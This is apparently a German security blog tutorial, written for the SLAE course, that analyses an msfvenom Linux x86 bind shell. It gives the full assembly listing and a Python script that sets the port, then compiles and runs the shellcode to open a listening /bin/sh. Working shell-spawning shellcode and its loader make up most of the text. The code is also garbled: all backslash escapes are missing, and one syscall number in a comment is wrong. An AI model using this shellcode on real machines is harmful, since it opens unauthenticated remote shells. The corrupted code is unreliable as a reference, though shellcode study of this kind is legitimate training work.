👉 We Hack You Happy! 👈

Einleitung:

In diesem Blog zeigen wir die Analyse einer Bind-Shell von msfvenom und die einzelnen Schritte, die für den Workflow einer Bind-Shell notwendig sind.

Die erste Aufgabe besteht darin, Shellcode zu erstellen, der sich an einen Port bindet und eine Shell ausführt. Der Port sollte durch ein Wrapper-Skript leicht konfigurierbar sein.

 

Ziel:

Zu diesem Zweckn werden zwei Schritte notwendig:

1. Analyse einer msfvenom-bind-shell

2. ein Skript mit dem Assembler-Code und der Möglichkeit, den Port zu ändern und die Shell auszuführen, erstellen

Installation von libemu

libemu ist ein perfektes Werkzeug für Shellcode-Emulation sowie Reverse Engineering und wird von oft verwendet, um zu verstehen, was der assemblierte Code im Hintergrund macht.

Die Installationsprozedur ist auf der Website carnivore.it dokumentiert.

Ich habe sctest als Systembefehl hinzugefügt, um eine einfachere Nutzung zu ermöglichen:

Analyse des msfvenom-Codes

Wir verwenden den üblichen Weg, einen bind-shell-Code mit msfvenom im Rohformat zu erstellen und das Ergebnis in libemu’s sctest zu leiten. Einige Informationen zu sctest findest du hier: Libemu

libemu kann nur eine dot-Datei ausgeben, aber dies kann einfach in eine png-Datei umngewandelt werden:

Jetzt können wir den msfvenom-Code mit dem folgenden Diagramm analysieren:

Folgende Schritte laufen also bei einer Bind-Shell ab:

Schritt 1: Socket wird erstellt
Schritt 2: Socket wird gebunden
Schritt 3: Socket lauscht auf eingehende Verbindungen
Schritt 4: Socket nimmt eingehende Verbindungen an
Schritt 5: Dateideskriptoren werden dupliziert
Schritt 6: execve führt die Shell aus

 

Umgewandelt in das reine HEX Format erhalten wir folgenden Code:

Bind Shell Hex Code:

; --> Step 1: Create Socket
xor ebx,ebx                ; zero out registers
mul ebx
push ebx                    
inc ebx                    ; ebx = 1
push ebx                   ; 1 (SOCK_STREAM)
push byte +0x2             ; 2 (AF_INET)
mov ecx,esp                ; ecx = args array struct
mov al,0x66                ; push 102 (socketcall) to EAX
int 0x80                   ; syscall
; --> Step 2: Bind the Socket
pop ebx
pop esi
push edx
push dword 0x5c110002      ; pushing port number 4444
push byte +0x10            ; addrlen pointer
push ecx
push eax
mov ecx,esp                ; ecx = args array struct for the syscall
push byte +0x66            ; push 102 (socketcall)
pop eax                    ; pop 102 to eax
int 0x80                   ; syscall
; --> Step 3: Listen on socket for incoming connection
mov [ecx+0x4],eax
mov bl,0x4                 ; SYS_LISTEN
mov al,0x66                ; syscall 102 (socketcall)
int 0x80                   ; syscall
; --> Step 4: Accepting Connections
inc ebx
mov al,0x66                ; push 102 (socketcall) to EAX
int 0x80                   ; syscall
; --> Step 5: Duplicate the file descriptors
xchg eax,ebx
pop ecx
push byte +0x3f            ; syscall 63 (dup)
pop eax
int 0x80                   ; syscall
dec ecx                    ; decrement counter
jns 0x32
; --> Step 6: Execve and spawn shell
push dword 0x68732f2f      ; hs//
push dword 0x6e69622f      ; nib/
mov ebx,esp                ; ebx = //bin/sh
push eax
push ebx
mov ecx,esp                ; argv = [filename,0]
mov al,0xb                 ; syscall 12 (execve)
int 0x80                   ; syscall

Wir stellen dabei fest, dass folgende Systemcalls genutzt werden:

Erstellung des Python Script

 

Bis jetzt kennen wir den Arbeitsablauf der bind shell in hex. Jetzt können wir unser Wissen in ein Python-Skript übertragen, das eine gegebene Portnummer als Option verwendet, diese in den Shellcode einfügt und die Bind-Shell letztlich ausführt.

## port becomes hex 0x400 to 0xffff -> cut off 0x
port = hex(results.port)[2:]
## fill up with zero until we have 4 characters
port = port.zfill(4)
port = "x{}x{}".format(port[0:2], port[2:4])

Der erste Teil unseres Skripts ist die Übersetzung des angegebenen Ports in das Shellcode-Format.

Bei der Umwandlung der Integer-Portnummer in das Hex-Format müssen wir zwei Dinge beachten:

 

  • „0x“ wird vor jedem Hexadezimalpaar eingefügt
  • alle führenden Nullen werden abgeschnitten

Im nächsten Schritt können wir den Hex-Code nutzen und die berechnete Portnummer im Hex-Format an der eben genannten Stelle einfügen.

Da der Code ausführbar sein soll, verwenden wir bereits das C-Format als Ausgabe.

print("Shellcode in C-Format:")
print("Shellcode length = {} bytes".format(len(shellcode_hex)))
print("unsigned char code[] = ")
print('"x31xdbxf7xe3x53x43x53x6ax02x89xe1xb0x66xcdx80x5bx5ex52"')
print('"x68x02x00{}x6ax10x51x50x89xe1x6ax66x58xcdx80x89x41"'.format(port))
print('"x04xb3x04xb0x66xcdx80x43xb0x66xcdx80x93x59x6ax3fx58xcd"')
print('"x80x49x79xf8x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53"')
print('"x89xe1xb0x0bxcdx80;"')

Also setzen wir diese bisherigen Erkenntnisse zu einem funktionierenden Skript zusammen. Da Python nicht in der Lage ist den Shellcode direkt in HEX auszuführen, wird die Ausgabe in eine C-Datei umgeleitet, kompiliert und schließlich ausgeführt.

bindshell.py

import sys
import argparse
import os

parser = argparse.ArgumentParser(description="Bindshell Creator SLAE assignment 1")
parser.add_argument('-p', '--port', help='defines the bind port, chosse port 1024 to 65535 (default = 4444)', dest='port')
parser.add_argument('-e', '--execute', help='executes the bind shell', action='store_true', dest='execute')
results = parser.parse_args()

results.port = int(results.port)

if results.port < 1024 or results.port > 65535:
    sys.exit()

## port becomes hex 0x400 to 0xffff -> cut off 0x
port = hex(results.port)[2:]
## fill up with zero until we have 4 characters
port = port.zfill(4)
port = "x{}x{}".format(port[0:2], port[2:4])

shellcode_c = "x31xdbxf7xe3x53x43x53x6ax02x89xe1xb0x66xcdx80x5bx5ex52x68x02x00{}x6ax10x51x50x89xe1x6ax66x58xcdx80x89x41x04xb3x04xb0x66xcdx80x43xb0x66xcdx80x93x59x6ax3fx58xcdx80x49x79xf8x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80".format(port)
shellcode_hex = shellcode_c.replace('x', '')

print("Shellcode in C-Format:")
print("Shellcode length = {} bytes".format(len(shellcode_hex)))
print("unsigned char code[] = ")
print('"x31xdbxf7xe3x53x43x53x6ax02x89xe1xb0x66xcdx80x5bx5ex52"')
print('"x68x02x00{}x6ax10x51x50x89xe1x6ax66x58xcdx80x89x41"'.format(port))
print('"x04xb3x04xb0x66xcdx80x43xb0x66xcdx80x93x59x6ax3fx58xcd"')
print('"x80x49x79xf8x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53"')
print('"x89xe1xb0x0bxcdx80;"')

print("nShellcode in Hex-Format:")
print(shellcode_hex[:80])
print(shellcode_hex[80:160])

if results.execute:

    print("Spawn binding shell on port " + str(results.port))
    print("listening...")

    f = open("shellcode.c", "w")
    f.write('#include<stdio.h>')
    f.write('n#include<string.h>')
    f.write('nunsigned char code[] = ')
    f.write('n"x31xdbxf7xe3x53x43x53x6ax02x89xe1xb0x66xcdx80x5bx5ex52"')
    f.write('n"x68x02x00{}x6ax10x51x50x89xe1x6ax66x58xcdx80x89x41"'.format(port))
    f.write('n"x04xb3x04xb0x66xcdx80x43xb0x66xcdx80x93x59x6ax3fx58xcd"')
    f.write('n"x80x49x79xf8x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53"')
    f.write('n"x89xe1xb0x0bxcdx80";')
    f.write('nint main(){')
    f.write('nint (*ret)() = (int(*)())code;')
    f.write('nret();}')
    f.close()

    os.system("gcc -fno-stack-protector -z execstack -m32 shellcode.c -o bind_shell")
    os.system("./bind_shell")

Bei der Ausführung des Codes wird der Shellcode generiert, ausgegeben und kompiliert:

Mit dem Parameter „-e“ wird der Shellcode direkt ausgeführt:

Auf der Kommandozeile können wir schließlich testen, ob die Bind-Shell korrekt funktioniert:

Wir bekommen genau das erwartete Ergebnis!